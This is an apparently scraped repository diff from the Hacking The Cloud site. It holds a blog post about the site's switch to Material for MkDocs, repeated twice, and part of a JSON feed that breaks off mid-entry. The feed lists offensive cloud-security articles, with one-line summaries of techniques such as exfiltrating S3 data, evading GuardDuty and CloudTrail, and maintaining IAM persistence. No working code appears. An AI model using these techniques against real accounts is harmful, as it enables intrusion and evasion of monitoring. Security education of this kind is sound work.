Hacking The Cloud now uses Material for MkDocs to render the beautiful HTML you see before you.

Why the Change?

When Hacking The Cloud was first started in mid-2020, I was primarily focused on getting the project off the ground and wasn't particularly interested in the formatting or appearance. This resulted in the choice to use a familiar technology (Hugo) and finding a freely available theme for it (zDoc).

This helped get the project up and running quickly and allowed me to work on getting the first few pages created. Over time, however, small changes were need. Increased font size, changes to the navigation layout, CSS tweaks, etc. Recently more time has been spent making sure things looked okay rather than actually creating content.

To be clear, the zDoc theme is excellent, there were just some changes needed that made the theme difficult to use for our purposes. These needs, combined with the appearance that the theme is no longer actively maintained, had caused me to look for something different.

Why Material for MkDocs?

For the past several months I've been looking for a suitable replacement. My list of requirements was high. Additionally, I was looking for something simple, easy to use, and wouldn't have me constantly thinking, "does this look okay on mobile?".

By pure luck, I found what I was looking for. Kinnaird McQuade happened to retweet an announcement from the Material for MkDocs project, and I was hooked. It looked great, supported Markdown, had admonitions, code blocks, produced static HTML, client-side search, and just about everything else I was looking for.

More than that, it's fun and easy to work with.

If you'd like to support Material for MkDocs you can join me in sponsoring the project.

What Does This Mean for You?

Honestly, not a whole lot. Hacking the Cloud will now look a lot better on desktop and mobile. This will free up time and resources to focus on what actually matters, the content.

For folks interested in contributing, you are only a pull request away! Our contributing guide has everything you need to get up and running. If you have any questions or ideas feel free to start a conversation on our discussions page.

Hacking The Cloud v2: New Look


Whoa! Things look a little different? You're not imagining it.

The old look

The old look.

Hacking The Cloud now uses Material for MkDocs to render the beautiful HTML you see before you.

Why the Change?

When Hacking The Cloud was first started in mid-2020, I was primarily focused on getting the project off the ground and wasn't particularly interested in the formatting or appearance. This resulted in the choice to use a familiar technology (Hugo) and finding a freely available theme for it (zDoc).

This helped get the project up and running quickly and allowed me to work on getting the first few pages created. Over time, however, small changes were need. Increased font size, changes to the navigation layout, CSS tweaks, etc. Recently more time has been spent making sure things looked okay rather than actually creating content.

To be clear, the zDoc theme is excellent, there were just some changes needed that made the theme difficult to use for our purposes. These needs, combined with the appearance that the theme is no longer actively maintained, had caused me to look for something different.

Why Material for MkDocs?

For the past several months I've been looking for a suitable replacement. My list of requirements was high. Additionally, I was looking for something simple, easy to use, and wouldn't have me constantly thinking, "does this look okay on mobile?".

By pure luck, I found what I was looking for. Kinnaird McQuade happened to retweet an announcement from the Material for MkDocs project, and I was hooked. It looked great, supported Markdown, had admonitions, code blocks, produced static HTML, client-side search, and just about everything else I was looking for.

More than that, it's fun and easy to work with.

If you'd like to support Material for MkDocs you can join me in sponsoring the project.

What Does This Mean for You?

Honestly, not a whole lot. Hacking the Cloud will now look a lot better on desktop and mobile. This will free up time and resources to focus on what actually matters, the content.

For folks interested in contributing, you are only a pull request away! Our contributing guide has everything you need to get up and running. If you have any questions or ideas feel free to start a conversation on our discussions page.

\ No newline at end of file diff --git a/feed_json_created.json b/feed_json_created.json index acc48a816..ddf3caa89 100644 --- a/feed_json_created.json +++ b/feed_json_created.json @@ -1 +1 @@ -{"version": "https://jsonfeed.org/version/1", "title": "Hacking The Cloud", "home_page_url": "https://hackingthe.cloud/", "feed_url": "https://hackingthe.cloud/feed_json_created.json", "description": "The encyclopedia for offensive security in the cloud.", "icon": null, "authors": [], "language": "en", "items": [{"id": "https://hackingthe.cloud/aws/general-knowledge/block-expensive-actions-with-scps/", "url": "https://hackingthe.cloud/aws/general-knowledge/block-expensive-actions-with-scps/", "title": "Prevent Expensive AWS API Actions with SCPs", "content_html": "Avoid AWS bill surprises by blocking known-expensive API calls with an SCP.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/block-expensive-actions-with-scps.png", "date_published": "2024-07-30T00:15:57+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/enumeration/enumerate_all_permissions/", "url": "https://hackingthe.cloud/gcp/enumeration/enumerate_all_permissions/", "title": "Enumerate Org/Folder/Project Permissions + Individual Resource Permissions", "content_html": "Brute force the permissions of all resources above to see what permissions you have. Includes example of brute forcing ~9500 permissions at the end. Also introduces tool that passively collections permissions allowed as run (gcpwn)", "image": "https://hackingthe.cloud/assets/images/social/gcp/enumeration/enumerate_all_permissions.png", "date_published": "2024-07-14T21:08:01+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/discover_secrets_in_public_aims/", "url": "https://hackingthe.cloud/aws/enumeration/discover_secrets_in_public_aims/", "title": "Discover secrets in public AMIs", "content_html": "How to find public AMIs and get stored secrets.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/discover_secrets_in_public_aims.png", "date_published": "2024-05-28T16:27:11+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/enumerate_root_email_from_console/", "url": "https://hackingthe.cloud/aws/enumeration/enumerate_root_email_from_console/", "title": "Enumerate Root User Email Address from the AWS Console", "content_html": "Identify if an email address belongs to the root user of an AWS account.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/enumerate_root_email_from_console.png", "date_published": "2024-05-21T20:10:23+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/", "url": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/", "title": "Abusing Misconfigured Role Trust Policies with a Wildcard Principal", "content_html": "How to take advantage of misconfigured role trust policies that have wildcard principals.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal.png", "date_published": "2024-01-29T03:39:38+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/local_ec2_priv_esc_through_user_data/", "url": "https://hackingthe.cloud/aws/exploitation/local_ec2_priv_esc_through_user_data/", "title": "EC2 Privilege Escalation Through User Data", "content_html": "How to escalate privileges on an EC2 instance by abusing user data.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/local_ec2_priv_esc_through_user_data.png", "date_published": "2024-01-21T17:59:06+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/bypass_cognito_user_enumeration_controls/", "url": "https://hackingthe.cloud/aws/enumeration/bypass_cognito_user_enumeration_controls/", "title": "Bypass Cognito Account Enumeration Controls", "content_html": "Leverage a flaw in Cognito's API to enumerate accounts in User Pools.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/bypass_cognito_user_enumeration_controls.png", "date_published": "2024-01-07T21:28:56+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/", "url": "https://hackingthe.cloud/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/", "title": "DNS and CloudFront Domain Takeover via Deleted S3 Buckets", "content_html": "How orphaned Route53 records and CloudFront distributions can be taken over if the backing S3 bucket is deleted.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3.png", "date_published": "2023-12-20T14:50:27+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/blog/2023_wrap-up/", "url": "https://hackingthe.cloud/blog/2023_wrap-up/", "title": "2023 Wrap-up", "content_html": "An end of year summary for Hacking the Cloud in 2023.", "image": "https://hackingthe.cloud/assets/images/social/blog/2023_wrap-up.png", "date_published": "2023-12-20T01:25:13+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/s3_server_access_logs/", "url": "https://hackingthe.cloud/aws/exploitation/s3_server_access_logs/", "title": "Data Exfiltration through S3 Server Access Logs", "content_html": "Exfiltrate data via S3:GetObject and S3 server access logs.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/s3_server_access_logs.png", "date_published": "2023-12-07T10:12:13+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/enumerate_principal_arn_from_unique_id/", "url": "https://hackingthe.cloud/aws/enumeration/enumerate_principal_arn_from_unique_id/", "title": "Derive a Principal ARN from an AWS Unique Identifier", "content_html": "How to convert an unique identifier to a principal ARN.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/enumerate_principal_arn_from_unique_id.png", "date_published": "2023-11-20T00:54:35+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/", "url": "https://hackingthe.cloud/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/", "title": "Survive Access Key Deletion with sts:GetFederationToken", "content_html": "Use sts:GetFederationToken to maintain access, even if the original IAM credentials are revoked.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken.png", "date_published": "2023-09-25T13:24:44+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/iam_persistence/", "url": "https://hackingthe.cloud/aws/post_exploitation/iam_persistence/", "title": "AWS IAM Persistence Methods", "content_html": "A catalog of methods to maintain access to the AWS control plane.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/iam_persistence.png", "date_published": "2023-08-01T01:58:06+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/", "url": "https://hackingthe.cloud/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/", "title": "Download Tools and Exfiltrate Data with the AWS CLI", "content_html": "Using the AWS CLI as a LOLScript to download and exfiltrate data.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli.png", "date_published": "2023-07-13T03:46:27+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/cognito_identity_pool_excessive_privileges/", "url": "https://hackingthe.cloud/aws/exploitation/cognito_identity_pool_excessive_privileges/", "title": "Abusing Overpermissioned AWS Cognito Identity Pools", "content_html": "How to take advantage of misconfigured Amazon Cognito Identity Pools.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/cognito_identity_pool_excessive_privileges.png", "date_published": "2023-06-20T17:26:14+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/cognito_user_self_signup/", "url": "https://hackingthe.cloud/aws/exploitation/cognito_user_self_signup/", "title": "Abusing Unintended Self-Signup in AWS Cognito", "content_html": "How to take advantage of misconfigured Amazon Cognito User Pools.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/cognito_user_self_signup.png", "date_published": "2023-06-20T17:26:14+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/azure/enum_email_addresses/", "url": "https://hackingthe.cloud/azure/enum_email_addresses/", "title": "Unauthenticated Enumeration of Azure Active Directory Email Addresses", "content_html": "Discover how to exploit information disclosure configurations in Azure Active Directory to enumerate valid email addresses.", "image": "https://hackingthe.cloud/assets/images/social/azure/enum_email_addresses.png", "date_published": "2023-04-11T13:31:32+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/enumeration/enum_email_addresses/", "url": "https://hackingthe.cloud/gcp/enumeration/enum_email_addresses/", "title": "Unauthenticated Enumeration of Google Workspace Email Addresses", "content_html": "Discover how to exploit information disclosure configurations in Google Workspace to enumerate valid email addresses.", "image": "https://hackingthe.cloud/assets/images/social/gcp/enumeration/enum_email_addresses.png", "date_published": "2023-04-11T13:31:32+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/create_a_console_session_from_iam_credentials/", "url": "https://hackingthe.cloud/aws/post_exploitation/create_a_console_session_from_iam_credentials/", "title": "Create a Console Session from IAM Credentials", "content_html": "How to use IAM credentials to create an AWS Console session.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/create_a_console_session_from_iam_credentials.png", "date_published": "2023-02-20T16:48:45+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/s3_streaming_copy/", "url": "https://hackingthe.cloud/aws/exploitation/s3_streaming_copy/", "title": "S3 Streaming Copy", "content_html": "Utilizng standard out to standard in with aws-cli utilizing multiple profiles to avoid logging and detection in a victim environment", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/s3_streaming_copy.png", "date_published": "2023-02-10T15:12:48+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/s3-bucket-replication-exfiltration/", "url": "https://hackingthe.cloud/aws/exploitation/s3-bucket-replication-exfiltration/", "title": "Exfiltrating S3 Data with Bucket Replication Policies", "content_html": "Backdooring S3 buckets with Bucket Replication Policies.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/s3-bucket-replication-exfiltration.png", "date_published": "2023-01-26T01:02:06+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/blog/2022_wrap-up/", "url": "https://hackingthe.cloud/blog/2022_wrap-up/", "title": "2022 Wrap-up", "content_html": "An end of year summary for Hacking the Cloud in 2022.", "image": "https://hackingthe.cloud/assets/images/social/blog/2022_wrap-up.png", "date_published": "2022-12-14T03:27:50+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/loot_public_ebs_snapshots/", "url": "https://hackingthe.cloud/aws/enumeration/loot_public_ebs_snapshots/", "title": "Loot Public EBS Snapshots", "content_html": "How to find and take advantage of exposed EBS snapshots.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/loot_public_ebs_snapshots.png", "date_published": "2022-12-05T02:08:42+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/", "url": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/", "title": "Misconfigured Resource-Based Policies", "content_html": "Common misconfigurations of resource-based policies and how they can be abused.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/index.png", "date_published": "2022-11-24T22:14:38+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/", "url": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/", "title": "Abusing Misconfigured ECR Resource Policies", "content_html": "How to take advantage of misconfigured AWS ECR private repositories.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy.png", "date_published": "2022-11-24T22:14:38+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/aws_organizations_defaults/", "url": "https://hackingthe.cloud/aws/general-knowledge/aws_organizations_defaults/", "title": "AWS Organizations Defaults & Pivoting", "content_html": "How to abuse AWS Organizations' default behavior and lateral movement capabilities.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/aws_organizations_defaults.png", "date_published": "2022-11-05T00:02:54+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/abusing-container-registry/", "url": "https://hackingthe.cloud/aws/exploitation/abusing-container-registry/", "title": "Abusing Elastic Container Registry for Lateral Movement", "content_html": "With ECR permissions you can easily distribute a backdoor to production servers, developer's laptops, or CI/CD pipelines and own the environment by gaining privileged permissions.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/abusing-container-registry.png", "date_published": "2022-10-13T01:37:41+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/blog/v2_new_look/", "url": "https://hackingthe.cloud/blog/v2_new_look/", "title": "Hacking The Cloud v2: New Look", "content_html": "All about the new look for Hacking The Cloud v2.", "image": "https://hackingthe.cloud/assets/images/social/blog/v2_new_look.png", "date_published": "2022-09-18T21:18:30+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/capture_the_flag/gcp-goat/", "url": "https://hackingthe.cloud/gcp/capture_the_flag/gcp-goat/", "title": "GCP Goat", "content_html": "GCP Goat is the Vulnerable application for learning the GCP Security", "image": "https://hackingthe.cloud/assets/images/social/gcp/capture_the_flag/gcp-goat.png", "date_published": "2022-08-29T00:18:19+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/capture_the_flag/thunder_ctf/", "url": "https://hackingthe.cloud/gcp/capture_the_flag/thunder_ctf/", "title": "Thunder CTF", "content_html": "GCP themed CTF", "image": "https://hackingthe.cloud/assets/images/social/gcp/capture_the_flag/thunder_ctf.png", "date_published": "2022-08-29T00:18:19+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/general-knowledge/gcp-buckets/", "url": "https://hackingthe.cloud/gcp/general-knowledge/gcp-buckets/", "title": "Hunting GCP Buckets", "content_html": "How to find valid and invalid GCP Buckets using tools", "image": "https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/gcp-buckets.png", "date_published": "2022-08-29T00:18:19+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/exploitation/gcp_iam_privilege_escalation/", "url": "https://hackingthe.cloud/gcp/exploitation/gcp_iam_privilege_escalation/", "title": "Privilege Escalation in Google Cloud Platform", "content_html": "Privilege escalation techniques for Google Cloud Platform (GCP)", "image": "https://hackingthe.cloud/assets/images/social/gcp/exploitation/gcp_iam_privilege_escalation.png", "date_published": "2022-08-24T12:25:09+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/enumeration/enumerate_service_account_permissions/", "url": "https://hackingthe.cloud/gcp/enumeration/enumerate_service_account_permissions/", "title": "Enumerate Service Account Permissions", "content_html": "Brute force the permissions of a service account to see what you have access to.", "image": "https://hackingthe.cloud/assets/images/social/gcp/enumeration/enumerate_service_account_permissions.png", "date_published": "2022-08-23T14:34:53+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/terraform/terraform_ansi_escape_evasion/", "url": "https://hackingthe.cloud/terraform/terraform_ansi_escape_evasion/", "title": "Terraform ANSI Escape", "content_html": "Using ANSI Escape Sequences to Hide Malicious Terraform Code", "image": "https://hackingthe.cloud/assets/images/social/terraform/terraform_ansi_escape_evasion.png", "date_published": "2022-07-09T00:02:47+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/general-knowledge/default-account-names/", "url": "https://hackingthe.cloud/gcp/general-knowledge/default-account-names/", "title": "Default Account Information", "content_html": "Default information on how accounts and service accounts exist in GCP", "image": "https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/default-account-names.png", "date_published": "2022-05-29T13:26:35+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/general-knowledge/security-and-constraints/", "url": "https://hackingthe.cloud/gcp/general-knowledge/security-and-constraints/", "title": "Security and Constraints", "content_html": "Security considerations and constraints that are unique to GCP", "image": "https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/security-and-constraints.png", "date_published": "2022-05-29T13:26:35+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/", "url": "https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/", "title": "Using Stolen IAM Credentials", "content_html": "How to work with stolen IAM credentials and things to consider.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/using_stolen_iam_credentials.png", "date_published": "2022-05-14T21:51:44+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/run_shell_commands_on_ec2/", "url": "https://hackingthe.cloud/aws/post_exploitation/run_shell_commands_on_ec2/", "title": "Run Shell Commands on EC2 with Send Command or Session Manager", "content_html": "Leverage privileged access in an AWS account to run arbitrary commands on an EC2 instance.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/run_shell_commands_on_ec2.png", "date_published": "2022-04-11T23:11:43+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/azure/abusing-managed-identities/", "url": "https://hackingthe.cloud/azure/abusing-managed-identities/", "title": "Abusing Managed Identities", "content_html": "Abusing Managed Identities", "image": "https://hackingthe.cloud/assets/images/social/azure/abusing-managed-identities.png", "date_published": "2022-03-27T16:57:50+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/azure/anonymous-blob-access/", "url": "https://hackingthe.cloud/azure/anonymous-blob-access/", "title": "Anonymous Blob Access", "content_html": "Finding and accessing files stored in Azure Storage Accounts without authentication.", "image": "https://hackingthe.cloud/assets/images/social/azure/anonymous-blob-access.png", "date_published": "2022-03-19T16:57:37+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/azure/soft-deleted-blobs/", "url": "https://hackingthe.cloud/azure/soft-deleted-blobs/", "title": "Soft Deleted Blobs", "content_html": "Recovering and accessing files in private Storage Accounts that have been deleted.", "image": "https://hackingthe.cloud/assets/images/social/azure/soft-deleted-blobs.png", "date_published": "2022-03-17T14:35:54+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/route53_modification_privilege_escalation/", "url": "https://hackingthe.cloud/aws/exploitation/route53_modification_privilege_escalation/", "title": "AWS API Call Hijacking via ACM-PCA", "content_html": "By modifying the route53 entries and utilizing the acm-pca private CA one can hijack the calls to AWS API inside the AWS VPC", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/route53_modification_privilege_escalation.png", "date_published": "2022-03-13T23:45:47+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/capture_the_flag/cicdont/", "url": "https://hackingthe.cloud/aws/capture_the_flag/cicdont/", "title": "CI/CDon't", "content_html": "An AWS/GitLab CICD themed CTF.", "image": "https://hackingthe.cloud/assets/images/social/aws/capture_the_flag/cicdont.png", "date_published": "2022-03-05T04:00:57+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/account_id_from_ec2/", "url": "https://hackingthe.cloud/aws/enumeration/account_id_from_ec2/", "title": "Enumerate AWS Account ID from an EC2 Instance", "content_html": "With access to an ec2 instance, you will be able to identify the AWS account it runs in.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/account_id_from_ec2.png", "date_published": "2022-02-27T22:50:13+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/deprecated/whoami/", "url": "https://hackingthe.cloud/aws/deprecated/whoami/", "title": "[Deprecated] Whoami - Get Principal Name From Keys", "content_html": "During an assessment you may find AWS IAM credentials. Use these tactics to identify the principal of the keys.", "image": "https://hackingthe.cloud/assets/images/social/aws/deprecated/whoami.png", "date_published": "2022-02-09T04:00:32+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/avoiding-detection/modify-guardduty-config/", "url": "https://hackingthe.cloud/aws/avoiding-detection/modify-guardduty-config/", "title": "Modify GuardDuty Configuration", "content_html": "Modify existing GuardDuty configurations in the target account to hinder alerting and remediation capabilities.", "image": "https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/modify-guardduty-config.png", "date_published": "2022-01-30T10:32:26+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/terraform/terraform_enterprise_metadata_service/", "url": "https://hackingthe.cloud/terraform/terraform_enterprise_metadata_service/", "title": "Terraform Enterprise: Attack the Metadata Service", "content_html": "Leverage a default configuration in Terraform Enterprise to steal credentials from the Metadata Service", "image": "https://hackingthe.cloud/assets/images/social/terraform/terraform_enterprise_metadata_service.png", "date_published": "2021-12-23T21:59:38+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/", "url": "https://hackingthe.cloud/", "title": "Hacking The Cloud", "content_html": "The encyclopedia for offensive security in the cloud", "image": "https://hackingthe.cloud/assets/images/social/index.png", "date_published": "2021-11-30T05:00:09+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/", "url": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/", "title": "AWS IAM Privilege Escalation Techniques", "content_html": "Common techniques that can be leveraged to escalate privileges in an AWS account.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/iam_privilege_escalation.png", "date_published": "2021-11-04T21:03:24+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/general-knowledge/metadata_in_google_cloud_instances/", "url": "https://hackingthe.cloud/gcp/general-knowledge/metadata_in_google_cloud_instances/", "title": "Metadata in Google Cloud Instances", "content_html": "Information about the data an attacker can access via GCP's API endpoints", "image": "https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/metadata_in_google_cloud_instances.png", "date_published": "2021-10-24T17:41:56+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/lambda_persistence/", "url": "https://hackingthe.cloud/aws/post_exploitation/lambda_persistence/", "title": "Lambda Persistence", "content_html": "How to establish persistence on a Lambda function after getting remote code execution.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/lambda_persistence.png", "date_published": "2021-09-16T15:02:21+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/get_iam_creds_from_console_session/", "url": "https://hackingthe.cloud/aws/post_exploitation/get_iam_creds_from_console_session/", "title": "Get IAM Credentials from a Console Session", "content_html": "Convert access to the AWS Console into IAM credentials.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/get_iam_creds_from_console_session.png", "date_published": "2021-07-14T20:46:17+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/deprecated/stealth_perm_enum/", "url": "https://hackingthe.cloud/aws/deprecated/stealth_perm_enum/", "title": "[Deprecated] Enumerate Permissions without Logging to CloudTrail", "content_html": "Leverage a bug in the AWS API to enumerate permissions for a role without logging to CloudTrail and alerting the Blue Team.", "image": "https://hackingthe.cloud/assets/images/social/aws/deprecated/stealth_perm_enum.png", "date_published": "2021-05-18T19:13:08+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/s3_acl_persistence/", "url": "https://hackingthe.cloud/aws/post_exploitation/s3_acl_persistence/", "title": "S3 File ACL Persistence", "content_html": "Maintain access to S3 resources by configuring Access Control Lists associated with S3 Buckets or Objects.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/s3_acl_persistence.png", "date_published": "2021-04-13T02:53:30+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/account_id_from_s3_bucket/", "url": "https://hackingthe.cloud/aws/enumeration/account_id_from_s3_bucket/", "title": "Enumerate AWS Account ID from a Public S3 Bucket", "content_html": "Knowing only the name of a public S3 bucket, you can ascertain the account ID it resides in.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/account_id_from_s3_bucket.png", "date_published": "2021-04-03T01:39:08+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/avoiding-detection/guardduty-tor-client/", "url": "https://hackingthe.cloud/aws/avoiding-detection/guardduty-tor-client/", "title": "Bypass GuardDuty Tor Client Findings", "content_html": "Connect to the Tor network from an EC2 instance without alerting GuardDuty.", "image": "https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/guardduty-tor-client.png", "date_published": "2021-02-20T04:07:08+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/intercept_ssm_communications/", "url": "https://hackingthe.cloud/aws/post_exploitation/intercept_ssm_communications/", "title": "Intercept SSM Communications", "content_html": "With access to an EC2 instance you can intercept, modify, and spoof SSM communications.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/intercept_ssm_communications.png", "date_published": "2021-02-06T17:17:59+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/role-chain-juggling/", "url": "https://hackingthe.cloud/aws/post_exploitation/role-chain-juggling/", "title": "Role Chain Juggling", "content_html": "Keep your access by chaining assume-role calls.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/role-chain-juggling.png", "date_published": "2021-02-03T03:20:50+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/user_data_script_persistence/", "url": "https://hackingthe.cloud/aws/post_exploitation/user_data_script_persistence/", "title": "User Data Script Persistence", "content_html": "Maintain access to an EC2 instance and it's IAM role via user data scripts.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/user_data_script_persistence.png", "date_published": "2021-02-03T03:20:50+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/", "url": "https://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/", "title": "Introduction to the Instance Metadata Service", "content_html": "An introduction to the Instance Metadata Service and how to access it.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/intro_metadata_service.png", "date_published": "2020-12-20T20:10:43+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/introduction_user_data/", "url": "https://hackingthe.cloud/aws/general-knowledge/introduction_user_data/", "title": "Introduction to User Data", "content_html": "An introduction to EC2 User Data and how to access it.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/introduction_user_data.png", "date_published": "2020-12-20T20:10:43+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/brute_force_iam_permissions/", "url": "https://hackingthe.cloud/aws/enumeration/brute_force_iam_permissions/", "title": "Brute Force IAM Permissions", "content_html": "Brute force the IAM permissions of a user or role to see what you have access to.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/brute_force_iam_permissions.png", "date_published": "2020-12-20T18:58:26+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/get-account-id-from-keys/", "url": "https://hackingthe.cloud/aws/enumeration/get-account-id-from-keys/", "title": "Get Account ID from AWS Access Keys", "content_html": "Techniques to enumerate the account ID associated with an AWS access key.", "image": 